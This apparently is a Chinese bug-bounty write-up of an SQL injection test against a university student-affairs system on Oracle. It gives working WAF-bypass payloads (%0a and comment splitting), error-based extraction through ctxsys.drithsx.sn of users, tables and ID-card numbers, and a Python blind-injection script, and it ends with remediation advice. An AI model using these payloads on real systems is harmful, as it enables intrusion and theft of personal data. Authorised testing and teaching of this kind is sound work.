Oracle数据库SQL注入实战:从WAF绕过到数据提取的渗透测试案例

📅 2026/7/12 13:25:33
Oracle数据库SQL注入实战:从WAF绕过到数据提取的渗透测试案例
1. 项目概述一次典型的Oracle学工系统渗透测试最近在参与一个企业SRC安全应急响应中心的众测项目目标是一个高校的学工管理系统。这类系统通常承载着学生、教职工的敏感信息是安全测试的重点对象。在初步的资产测绘和端口扫描后我锁定了几个Web应用其中一个基于Oracle数据库的学工系统引起了我的注意。它的登录界面看起来平平无奇但经验告诉我越是这种“历史悠久”、功能复杂的业务系统越可能存在一些“祖传”的安全问题。果不其然在后续的测试中我不仅发现了SQL注入漏洞还经历了一场与WAFWeb应用防火墙斗智斗勇的攻防战。这篇文章我就来详细复盘一下从发现可疑点、绕过WAF拦截到最终成功挖掘并提交SRC漏洞的全过程。整个过程涉及Oracle数据库的特性、WAF的常见规则与绕过思路以及手工注入的技巧希望能给同样在安全研究路上的朋友一些启发。2. 核心思路与测试环境准备2.1 目标分析与信息收集在开始动手之前充分的侦察是成功的一半。我首先对目标系统进行了信息收集。技术栈识别通过浏览器的开发者工具查看HTTP响应头发现了Server: Oracle-Application-Server-10g和X-Powered-By: Servlet/2.4 JSP/2.0。这基本确定了后端是Oracle数据库中间件是Oracle Application ServerOAS一个比较老旧的J2EE容器。前端则是一些JSP页面。功能点梳理学工系统功能繁杂我重点关注了那些与数据库交互频繁的模块信息查询学生信息查询、成绩查询、课表查询。这类功能通常有id,student_id,course_id等参数。列表与筛选学生名单列表、按学院/专业筛选。参数如college,major,page,size,orderBy。登录与个人中心修改密码、查看个人信息。参数如oldPassword,newPassword,userName。参数枚举使用爬虫工具如Burp Suite的爬虫功能遍历了所有可访问的页面并记录下每一个GET/POST请求的参数。特别留意了那些看起来是数字型主键如id1001、用于排序如ordername或用于搜索如keyword张三的参数。注意对于Oracle环境要特别留意其SQL语法的特殊性比如字符串连接用|| 注释用--单行或/* */多行以及一些特有的函数和视图如USER_TABLES替代MySQL的information_schema.tables。2.2 工具与Payload库准备手工测试结合工具效率更高。我准备了以下“装备”代理工具Burp Suite Professional。用于拦截、重放、修改所有HTTP/HTTPS请求是Web渗透测试的瑞士军刀。浏览器插件HackBar或类似工具方便在浏览器地址栏快速构造和测试Payload。自定义Payload字典针对Oracle数据库我提前整理了一份测试Payload字典包含常见的注入测试语句、Oracle特有函数以及WAF绕过技巧。例如基础探测 OR 11 AND 12报错注入 AND 1ctxsys.drithsx.sn(1,(SELECT USER FROM DUAL))--盲注函数SUBSTR,INSTR,LENGTH,ASCII联合查询确定列数后使用UNION ALL SELECT NULL, NULL, ... FROM DUALWAF识别与指纹探测通过发送一些特征明显的恶意请求如../../etc/passwd观察拦截页面的特征。很快我收到了一个熟悉的拦截页面提示“您的请求疑似攻击行为”并带有一个事件ID。这通常指向某款云WAF或硬件WAF。我记下了这个特征以便后续针对性绕过。3. 注入点发现与初步验证3.1 锁定可疑参数在信息查询模块我找到了一个URL/student/queryDetail.do?stuId20230001。将stuId的值从20230001改为20230001添加一个单引号并发送请求。页面返回了数据库错误信息这是一个非常强烈的信号。错误信息大致是“ORA-01756: 引号内的字符串没有正确结束”。这说明我们输入的单引号破坏了原SQL语句的语法结构并且应用程序将数据库错误直接返回给了前端——这是一个报错型注入点。实操心得Oracle的错误信息通常非常详细ORA-xxxxx是错误代码后面会跟有描述。直接回显错误是渗透测试者的“福音”因为它能快速确认漏洞存在和数据库类型。但这也意味着在正式利用时需要小心避免触发过于明显的错误而被WAF或监控系统发现。3.2 判断注入类型与闭合方式接下来需要判断原SQL语句是如何拼接的。我尝试了以下几种闭合方式stuId20230001 AND 11→ 页面正常返回学生信息。stuId20230001 AND 12→ 页面返回“未找到该学生信息”或空白。这说明原SQL语句可能是SELECT * FROM t_student WHERE stu_id 20230001。我们输入的单引号闭合了前面的引号然后可以拼接我们自己的SQL逻辑最后用--注释掉后面的内容。为了验证我使用了stuId20230001--页面也正常返回确认了这是一个字符型注入点闭合符是单引号可以使用--进行行注释。4. 遭遇WAF与绕过策略实战4.1 WAF拦截分析与规则推测当我尝试使用更“高级”的Payload比如stuId20230001 AND 1(SELECT 1 FROM DUAL)--时请求立刻被WAF拦截返回了那个熟悉的拦截页面。我分析了一下被拦截的可能原因关键词拦截SELECT,FROM,DUAL这些SQL关键字被WAF规则库命中。语法结构识别AND后面紧跟(和子查询这种模式可能被识别为注入攻击。特殊字符频率单引号、括号、等号的组合触发了规则。WAF的规则往往是基于正则表达式或语法树分析。我的绕过思路就是“变形”让我的Payload不再匹配WAF的规则模式但对数据库解析器来说依然是合法的SQL。4.2 第一层绕过内联注释与空白符变异Oracle支持/* */这种多行注释内联注释。我可以在SQL关键字之间插入无意义的注释来打断WAF的字符串匹配。原始Payload AND 1(SELECT 1 FROM DUAL)--绕过尝试1 AND 1(SELECT/*任意内容*/1 FROM DUAL)--绕过尝试2 AND 1(SELECT 1 FROM/*xxx*/DUAL)--同时改变空白符的使用。Oracle SQL中空白符空格、换行、制表符通常不影响解析。绕过尝试3 AND 1(SELECT1FROMDUAL)--用号代替空格在某些上下文中被解释为连接符但在这里可能被当作空格更有效的方法使用URL编码的换行符%0a或制表符%09。%0aAND%0a1(SELECT%0a1%0aFROM%0aDUAL)--经过测试使用%0a分割关键词的组合成功绕过了第一层拦截。页面没有返回WAF拦截页而是返回了正常的查询结果或数据库错误说明我们的SQL被执行了。4.3 第二层绕过Oracle特有函数与非常用语法当我想进一步利用比如查询当前用户时使用USER函数又被拦截了。我转向使用一些Oracle不太常用但在特定场景下等价的函数或写法。查询当前用户常规写法SELECT USER FROM DUAL被拦截。绕过写法1SELECT SYS_CONTEXT(USERENV, CURRENT_USER) FROM DUAL。SYS_CONTEXT是一个上下文函数可以获取会话信息。绕过写法2使用||字符串连接构造查询。SELECT CHR(85)||CHR(83)||CHR(69)||CHR(82) FROM DUAL实际上拼出了USER但WAF可能只匹配连续的USER字符串。字符串截取与比较用于盲注常规的SUBSTR和ASCII可能被关联拦截。可以尝试使用INSTR函数进行布尔盲注。INSTR(string, substring)返回子串的位置如果为0则表示不存在。结合CASE WHEN语句可以构造条件判断。Payload示例布尔盲注 AND CASE WHEN (INSTR((SELECT USER FROM DUAL), S)0) THEN 1 ELSE 0 END1--这个Payload的意思是如果当前用户名包含字母S则CASE WHEN返回1整个条件11成立页面正常否则返回0条件01不成立页面异常。通过遍历字符可以逐个猜解出用户名。踩坑记录在测试过程中我发现WAF对UNION SELECT的检测非常严格。即使使用了注释和空白符变异也很容易被拦截。因此在Oracle环境下报错注入和盲注往往是更稳妥的选择特别是当应用程序开启了错误回显时报错注入效率极高。4.4 利用报错注入提取数据既然目标系统回显错误我决定利用Oracle的报错函数来快速提取数据。Oracle有一些函数在参数不合法时会抛出错误并将参数内容的一部分显示在错误信息中。常用Oracle报错函数ctxsys.drithsx.sn一个不常用的函数参数错误时会报错。dbms_xmlquery.getxml/dbms_xmlquery.newcontextXML相关函数构造错误可以回显数据。utl_inaddr.get_host_name早期常用但现在很多环境默认禁止。XMLType相关函数。我选择了相对冷门的ctxsys.drithsx.sn进行测试。爆出当前用户 Payload:stuId20230001 AND 1ctxsys.drithsx.sn(1,(SELECT USER FROM DUAL))--返回错误ORA-20000: Oracle Text error: DRG-11701: 用户 SYS 的索引不存在。太好了错误信息里直接包含了SYS这就是当前数据库用户权限非常高。爆出数据库版本 Payload:stuId20230001 AND 1ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum1))--返回错误信息中包含了类似Oracle Database 11g Enterprise Edition Release 11.2.0.4.0的信息。爆出表名 需要先获取当前用户SYS下的表。SYS用户表太多我转向查询当前应用可能使用的用户通过连接字符串判断或尝试常见用户如SYSTEM。但错误信息长度有限。我使用SUBSTR分段获取。 Payload:stuId20230001 AND 1ctxsys.drithsx.sn(1,(SELECT SUBSTR(table_name,1,30) FROM (SELECT table_name FROM all_tables WHERE ownerSTUDENT_SYS AND rownum1)))--这里我假设了一个用户STUDENT_SYS。通过修改SUBSTR的起始位置可以获取完整的表名。最终我找到了T_STUDENT_INFO,T_COURSE_SCORE等业务表。重要技巧报错注入函数通常有长度限制如32字符。对于长数据需要使用SUBSTR函数进行截取并通过改变截取位置来获取完整内容。例如SUBSTR(column_name, 1, 30),SUBSTR(column_name, 31, 30)...5. 深入利用从数据获取到漏洞证明5.1 构造完整的漏洞利用链获取表名和列名后下一步就是提取敏感数据。我选择从T_STUDENT_INFO表入手猜测它可能包含学号、姓名、身份证号、电话号码等敏感信息。获取列名 Payload:stuId20230001 AND 1ctxsys.drithsx.sn(1,(SELECT SUBSTR(column_name,1,30) FROM (SELECT column_name FROM all_tab_columns WHERE ownerSTUDENT_SYS AND table_nameT_STUDENT_INFO AND rownum1)))--循环执行修改rownum和SUBSTR起始位置我获取到了STU_ID,NAME,ID_CARD,PHONE,EMAIL等列名。提取数据 现在可以构造Payload直接查询数据了。为了绕过WAF对UNION SELECT的严格审查我继续使用报错注入但需要一次查询一个单元格的数据。 Payload:stuId20230001 AND 1ctxsys.drithsx.sn(1,(SELECT ~||ID_CARD||~ FROM STUDENT_SYS.T_STUDENT_INFO WHERE STU_ID20230001))--这个Payload会尝试将~、身份证号和~连接起来作为错误函数的一个参数。如果执行成功错误信息中可能会包含~身份证号~这样的内容。通过这种方式我成功提取出了指定学生的身份证号码。5.2 自动化脚本辅助手工构造每一个Payload并截取数据非常繁琐。我写了一个简单的Python脚本利用Requests库自动完成这个过程。脚本的核心逻辑是通过报错注入使用SUBSTR和ASCII函数进行布尔盲注逐个字符猜解数据虽然慢但更隐蔽且不受报错长度限制。或者继续优化报错注入Payload自动处理字符串截取和拼接。脚本中集成了之前验证有效的WAF绕过技巧如使用%0a作为分隔符在函数名和括号之间插入/**/注释。脚本示例片段布尔盲注猜解当前用户import requests import time url http://target.com/student/queryDetail.do params {stuId: } headers {...} # 添加必要的Headers如Cookie def blind_injection(payload_template): result for i in range(1, 50): # 假设长度不超过50 for ascii_val in range(32, 127): # 可打印字符 # 构造布尔判断Payload例如判断第i个字符的ASCII码是否等于ascii_val payload payload_template.format(posi, asciiascii_val) params[stuId] f20230001 AND CASE WHEN (ASCII(SUBSTR(({sub_query}),{i},1)){ascii_val}) THEN 1 ELSE 0 END1-- # 对Payload进行WAF绕过处理如替换空格为%0a params[stuId] params[stuId].replace( , %0a) resp requests.get(url, paramsparams, headersheaders) if 正常页面特征 in resp.text: # 需要根据实际情况判断真/假条件 result chr(ascii_val) print(fFound: {result}) break else: # 如果内层循环完没找到可能已到字符串结尾 break return result # 猜解当前用户 current_user blind_injection(SELECT USER FROM DUAL) print(fCurrent Database User: {current_user})5.3 整理漏洞报告与影响证明在成功提取出敏感数据如身份证号后我立即停止了测试避免对业务数据造成进一步影响。接下来是整理漏洞报告的关键步骤清晰描述详细记录漏洞URL、参数、类型字符型报错注入、涉及的数据库Oracle 11g。复现步骤提供从正常请求到触发漏洞的完整、分步的Payload确保厂商安全团队可以快速复现。漏洞证明提供截图或视频证明可以获取敏感数据如身份证号。注意要对敏感信息进行打码处理只证明漏洞存在即可不要泄露真实数据。危害分析数据泄露可导致全校学生、教职工的个人敏感信息身份证、电话、家庭住址等泄露。权限提升当前数据库用户为SYS拥有最高权限理论上可通过数据库功能如Java存储过程进一步获取服务器权限风险极高。业务影响可篡改成绩、学籍信息等造成严重管理事故。修复建议代码层使用参数化查询Prepared Statement或ORM框架的绑定变量功能从根本上杜绝SQL注入。加固对现有代码进行全面的安全审计对所有用户输入进行严格的过滤和校验。权限应用程序连接数据库应使用最小权限账户避免使用SYS、SYSTEM等高权限账户。WAF虽然被绕过但WAF仍是必要的防护层建议更新规则库并设置更严格的模式。我将这份报告提交到了该企业的SRC平台。由于漏洞危害等级高通常定为高危或严重且提供了清晰的复现路径漏洞很快被确认并进入了修复流程。6. 总结与反思这次对Oracle学工系统的渗透测试是一次典型的从黑盒测试到漏洞挖掘的实战。有几点体会特别深刻首先信息收集和耐心是关键。不要一上来就怼sqlmap手工测试能帮助你更深入地理解应用逻辑和WAF行为。仔细分析每一个参数尤其是那些看起来“人畜无害”的排序、分页参数。其次理解数据库特性是绕过WAF的基础。不同数据库Oracle, MySQL, SQL Server的语法、函数、注释方式都有差异。针对Oracle掌握其特有的双竖线连接符、DUAL表、丰富的系统视图ALL_TABLES,ALL_TAB_COLUMNS以及非常用报错函数能让你在绕过时游刃有余。再者WAF不是铜墙铁壁。它依赖规则而规则总有滞后性。通过注释、空白符变异、使用冷门函数或语法、拆分关键词等手段往往能找到规则的盲点。但也要注意过于复杂的Payload可能影响执行成功率需要在隐蔽性和可靠性之间权衡。最后也是最重要的恪守职业道德与法律底线。所有测试必须在获得明确授权的前提下进行。发现漏洞后应立即停止进一步利用并清晰、专业地报告给相关方。我们挖掘漏洞的目的是为了帮助修复它让网络空间更安全而不是为了炫技或非法牟利。Oracle系统在政企、教育领域存量巨大其安全性不容忽视。希望这个案例能让大家对Oracle环境的SQL注入有一个更具体的认识。安全之路道阻且长唯有持续学习、精进技术、保持敬畏方能行稳致远。